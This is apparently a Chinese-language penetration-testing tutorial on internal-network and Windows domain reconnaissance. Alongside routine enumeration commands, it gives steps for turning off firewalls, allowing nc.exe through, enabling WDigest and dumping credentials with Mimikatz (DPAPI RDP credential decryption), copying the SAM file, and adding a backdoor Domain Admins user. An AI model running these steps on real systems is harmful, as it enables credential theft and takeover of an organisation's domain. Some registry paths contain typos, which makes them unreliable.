内网信息收集
一:工作組信息收集
1.1:本機信息收集
系統
systeminfo ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查看系統信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" ? ? ?#查看系統及版本,英文系統
systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本" ? ? ? ? #查看系統及版本,中文系統
echo %PROCESSOR_ARCHITECTURE% ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查看系統架構,一般為AMD64
set ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查看系統環境變量
wmic qfe get Caption,Description,HotFixID,InstalledOn ? ? #查看系統補丁信息
wmic bios ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查看bios信息
nbtstat -A ip ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #netbios查詢
fsutil fsinfo drives ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查看所有的盤符
gpupdate /force ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #更新計算機策略
?
?
安裝的軟件版本信息
wmic product get name,version ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查看安裝的軟件及版本
powershell "get-wmiobject -class Win32_product | select-Object -property name,version" ? #查看安裝的軟件及版本
?
網絡
ipconfig /all ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查看ip詳細信息
route print ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查看路由
arp -a ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查看arp緩存表
net view ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查詢機器列表
type C:\Windows\System32\drivers\etc\hosts ? ? ? ? ? ? ? ?#查看hosts文件
?
用戶賬號密碼
net user ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#只顯示本機的用戶,不顯示域用戶
net user xie ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查看用戶xie的具體信息
wmic useraccount get /ALL ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查看本機用戶詳細信息
net localgroup ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查看組
net localgroup administrators ? ? ? ? ? ? ? ? ? ? ? ? ? ? #顯示本機的administrators管理員組。除了顯示本機中用戶,還會顯示域用戶(前提是該域用戶在本機的Administrators組內)
query user | qwinsta ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查詢當前在線用戶
whoami /all ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查詢當前用戶權限等
net accounts ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查看本地密碼策略
qwinsta ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查看登錄情況
qwinsta /SERVER:IP ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查看遠程登錄情況
?
端口
netstat -ano ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查看端口開放情況、
netstat -ano|findstr 80 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查看80端口對應的PID
?
服務
net start ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查詢當前運行的服務
wmic service list brief ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查看服務name、進程ID、狀態等
?
進程
tasklist ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查看進程列表
tasklist ?/svc ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查看進程,顯示進程使用者名稱
tasklist | findstr 80 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查看80端口對應的進程
taskkill /f /t /im xx.exe ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #殺死xx.exe進程
taskkill /F -pid 520 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#殺死pid為520的進程
wmic process list brief ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查看進程
?
共享
net use ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查看連接
net share ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查看共享
wmic share get name,path,status ? ? ? ? ? ? ? ? ? ? ? ? ? #查看共享
net session ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查看會話
net view \ip ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查詢指定IP共享
?
啟動程序信息 ? ? ? ? ? ? ? ??
wmic startup get command,caption ? ? ? ? ? ? ? ? ? ? ? ? ?#查看啟動項信息
?
計劃任務
schtasks /query /fo LIST /v ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查看計劃任務
?
開機時間
net statistics workstation ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查看機器開機時間
?
查詢IE瀏覽器的代理信息
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"?
?
查詢RDP端口號
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP" /V portNumber
>>>防火墻相關配置<<<
查看防火墻配置
netsh firewall show config
?
關閉防火墻
Server2003及之前版本:netsh firewall set opmode disable
Server2003之后版本:netsh advfirewall set allprofiles state off
?
修改防火墻配置
Server2003及之前版本,允許指定程序全部連接:netsh firewall add allowedprogram d:\nc.exe "allow nc" enable
Server2003之后版本,允許指定程序進入:netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="d\nc.exe"
?
允許指定程序退出
netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="d:\nc.exe"
?
允許3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
?
自定義防火墻日志的存儲位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\test.log"
1.2:Windows賬號密碼
1.2.1:Win對用戶密碼的處理
Windows系統使用兩種方法對用戶的密碼進行哈希處理,它們分別是 LAN Manager(LM)哈希和 NT LAN Manager(NTLM)哈希。所謂哈希(hash),就是使用一種加密函數對其進行加密。這個加密函數對一個任意長度的字符串數據進行一次數學加密函數運算,然后返回一個固定長度的字符串。
現在已經有了更新的 NTLMv2 以及 Kerberos(域環境) 驗證體系。Windows加密過的密碼口令,我們稱之為Hash,Windows的系統密碼hash默認情況下一般由兩部分組成:第一部分是 LM-hash,第二部分是 NTLM-hash。在windows2000以后的系統中,第一部分的 LM-hash 都是空值,因為LM-hash可以很容易的破解,所以windows2000之后這個值默認為空,所以第二部分的NTLM-hash才真正是用戶密碼的哈希值。
通常可從Windows系統中的SAM文件 和 域控的 NTDS.dit 文件中獲得所有用戶的hash,通過Mimikatz讀取lsass.exe進程能獲得已登錄用戶的NTLM hash
LM和NTLM解密,可以使用線下工具John來進行破解,也可以使用在線解密網站md5在線解密破解,md5解密加密 備注:John工具使用參照第二階段暴力破解課程
1.2.2:復制SAM文件方法
SAM文件即賬號密碼數據庫文件。 當我們登錄系統的時候,系統會自動地和 C:\Windows\System32\config\SAM 中的SAM文件自動校對,如發現此次密碼與SAM文件中的加密數據符合時,你就會順利登錄;如果錯誤則無法登錄。在系統運行期間,SAM文件一直是被占用的,是無法打開和編輯復制的。但是,我們可以通過以下方法進行復制SAM文件,
方法一:我們可以進入PE系統進行復制
- U盤啟動,運行DiskGenius分區工具
- 找到SAM文件,復制到U盤
- 在另一臺電腦上下載軟件NTPWedit并運行,打開SAM文件解鎖并修改密碼
- 把SAM文件復制到原來的電腦上,覆蓋原文件。
方法二:利用Copy-VSS.ps1腳本
利用Nishang框架內的Copy-VSS.ps1腳本
Import-Module .\Copy-VSS.ps1;copy-vss
1.2.4:防止主機密碼被抓取
微軟為了防止用戶密碼在內存中以明文形式泄露,發布了補丁KB2871997關閉了Wdigest功能。
Windows Server 2012及以上版本默認關閉Wdigest,使攻擊者無法從內存中獲取明文密碼。Windows server 2012以下版本如果安裝了KB2871997補丁,攻擊者同樣無法獲取明文密碼。
在日常網絡維護中,通過查看注冊表項Wdigest可以判斷其功能狀態。如果該項值為1用戶下次登錄時,攻擊者就能使用工具獲取明文密碼,應該確保該項值為0,使用戶明文密碼不會出現在內存中。
在命令行中開啟或者關閉Wdigest Auth,有以下兩種方法:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
?
關閉Wdigest Auth,命令如下
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
關閉Wdigest Auth
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
注意:需要強調的是,安裝了KB2871997補丁黑客不僅無法Dump出明文密碼,而且一般情況下無法使用哈希傳遞攻擊。僅可以使用SID=500的用戶進行哈希傳遞攻擊,而SID=500的用戶默認為administrator,所以,主機管理員最好也禁用administrator用戶
1.3:獲取RDP憑據
當我們拿到機器的管理員權限后,想要獲取其RDP登錄歷史保存的憑據請看接下里的操作...
1.3.1:Mimikatz抓取
步驟一:執行以下命令查看目標機器是否存在RDP憑據
#查看mstsc的連接紀錄
cmdkey /list?
?
#查找本地的Credentials:
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
步驟二:存在的話直接上傳Mimikatz執行以下命令來記錄GuidMasterKey值:
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\19DC8328D3873E6AB8EF6B081B771D2E"
步驟三:執行以下命令,找到GuidMasterKey值對應的MasterKey,上面的GuidMasterKey在這里是GUID
mimikatz.exe "privilege::debug" "sekurlsa::dpapi"
步驟四:執行以下命令,使用上面記錄的MasterKey破解指定的憑據:19DC8328D3873E6AB8EF6B081B771D2E
mimikatz.exe "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\19DC8328D3873E6AB8EF6B081B771D2E /masterkey:cf8ba397fe285a877997100a3b3fe3259821fe4cb7a47bd9dc8887296a4ff7914a2a3b04a5b8a96d4ce418937604e0a23799f990abb537a599130fce394eb114"
步驟五:如下-->破解出明文密碼!
?1.3.2:NetPass抓取
Network Password Recovery是一款功能齊全的密碼恢復軟件,通過使用該軟件可以用于恢復Windows 中有關于網絡方面的各種密碼,包括網絡連接密碼(RAS、VPN、Direct PC 和其他任何類型的網絡連接密碼)、本地網絡和互聯網的密碼,非常不錯。
如果直接登錄到遠程桌面上去的話。可以直接使用Netpass.exe工具查看!(Network Password Recovery)
?1.3.3:Powershell腳本抓取
Import-Module .\Invoke-WCMDump.ps1
Invoke-WCMDump
?1.4:Windows登錄日志
登錄成功日志
wevtutil qe security /q:"*[EventData[Data[@Name='LogonType']='10'] and System[(EventID=4624)]]" /f:text /rd:true /c:10
登錄失敗日志
wevtutil qe security /q:"*[EventData[Data[@Name='LogonType']='10'] and System[(EventID=4625)]]" /f:text /rd:true /c:10
二:域環境信息收集
當我們通過代理進入內網,并且通過信息收集已經得知當前處于域環境下...
域環境滲透:
- 目的
獲得域管理員賬號,登錄域控進而控制域內所有主機,獲得域內網重要信息
- 思路
先獲取域內一臺主機權限,查看當前獲取權限的用戶是本地用戶還是域用戶。
* 本地用戶:如果是本地用戶,則按非域環境滲透思路,提升為Administrator權限后,則可以執行域命令。如果提權失敗,則想辦法獲取下一個主機權限,在查看是否是域用戶或administrator權限,如此反復,最終需要能執行域命令,進行域滲透
* 域用戶:直接進行各種域命令的查詢,域內的橫向滲透...
2.1:域信息收集
nltest ?/domain_trusts ? ? ? ? ? ? ? ? ? ? ?#查看域信任信息或查詢有幾個域
nslookup -qt=ns warsec.com ? ? ? ? ? ? ? ? ?#查詢各個域的域控
net time /domain ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查看時間服務器
net config workstation ? ? ? ? ? ? ? ? ? ? ?#查詢當前登錄域及登錄用戶信息
net user /domain ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查詢域內用戶
wmic useraccount get /all ? ? ? ? ? ? ? ? ? #查詢域內用戶的詳細信息
net user warsec /domain ? ? ? ? ? ? ? ? ? ? ? ?#查看指定域用戶xie的詳細信息
net view /domain ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查看有幾個域
net view /domain:xxx ? ? ? ? ? ? ? ? ? ? ? ?#查看域內的主機
net group /domain ? ? ? ? ? ? ? ? ? ? ? ? ? #查看域里面的組
net group "domain users" ?/domain ? ? ? ? ? #查看域用戶
net group "domain controllers" /domain ? ? ?#查看域控制器
net group "domain computers" /domain ? ? ? ?#查看域內所有的主機
net group "domain admins" ?/domain ? ? ? ? ?#查看域管理員,該組內的成員對域控擁有完全控制權
net group "enterprise admins" /domain ? ? ? #查看企業管理組,該組內的成員對域控擁有完全控制權
net group "domain guest" ?/domain ? ? ? ? ? #查看域訪客組,權限較低
?
nltest ?/domain_trusts ? ? ? ? ? ? ? ? ? ? ?#查看域信任信息
net accounts /domain ? ? ? ? ? ? ? ? ? ? ? ?#查詢域密碼策略
whoami /user ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查看用戶SID和域SID,如用戶的SID是:S-1-5-21-2189311154-2766837956-1982445477-520 則域SID則是去掉最后的520:S-1-5-21-2189311154-2766837956-1982445477
?
以下命令只能在域控上查詢
dsquery user ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查詢目錄中的用戶
dsquery computer ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查詢目錄中的主機
dsquery group ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查詢目錄中的組.
dsquery ou ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查詢目錄中的組織單元.
dsquery site ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查詢目錄中的站點
dsquery server ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查詢域控
dsquery contact ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查詢目錄中的聯系人
dsquery subnet ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?#查詢目錄中的子網
dsquery quota ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #查詢目錄中的配額規定.
dsquery partition ? ? ? ? ? ? ? ? ? ? ? ? ? #查詢目錄中的分區.
dsquery * ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #用通用的LDAP查詢來查找目錄中的任何對?
dsquery server –domain xie.com | dsget server–dnsname –site ? ? #搜索域內域控制器的DNS主機名和站點名
dsquery computer domainroot –name -xp –limit 10 ? ? ?#搜索域內以-xp結尾的機器10臺
dsquery user domainroot –name admin -limit ? ? ? ? ? #搜索域內以admin開頭的用戶10個
2.2:查詢域控主機名
方法一:net group "domain controllers" /domain ? ? ? #這里查詢結果后面會多一個 $?
方法二:nltest /DCLIST:xie.com
方法三:net time /domain?
方法四:nslookup -type=srv _ldap._tcp
方法五:查看DNS服務器的地址,一般DNS服務器的IP就是域控的地址
方法六:netdom query pdc ? ? ? ? ? ? ? ? ? ? ? ? ? ? #該命令只能在域控上執行
方法七:dsquery server ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? #該命令只能在域控上執行
2.3:定位域管理員和域用戶
定位域管理員的常規渠道,一是日志,而是回話。
日志是指本地機器的管理員日志,可以使用腳本或者Wevtutil工具查看。
會話是指域內每臺機器的登錄回話,詳情查看子目錄的【定位域管理員】
2.4:遷移進域管進程
在內網滲透中,往往得不到域管理員的明文賬號密碼或密碼Hash,所以我們要想得到與管理員的權限,另一個思路就是通過找到機器上域管理員開啟的進程,遷移到該進程模擬域管理員,進而或得域管理員權限。而找到域管理員開啟的進程并不是這么簡單的,需要不停的內網橫向移動獲取新的服務器的權限,直到找到一臺機器上有域管理員開啟的進程位置.方法參照子目錄【查找域管理員進程】
#遷移到管理員進程
migrate 2912
?
#Shell下創建用戶并添加到域管理員組中
net user test2 root@123 /add /domain
net group "domain admins" test2 /add /domain
?
#meterpreter下創建用戶并添加到域管理員組中,-h參數跟的是域控ip
add_user test3 ?root@123 -h 192.168.10.131
add_group_user "domain admins" test3 -h 192.168.10.131
總結
- 上一篇: android日记论文摘要,毕业设计(论
- 下一篇: 电脑老是弹出vrvedp_m_出现三个可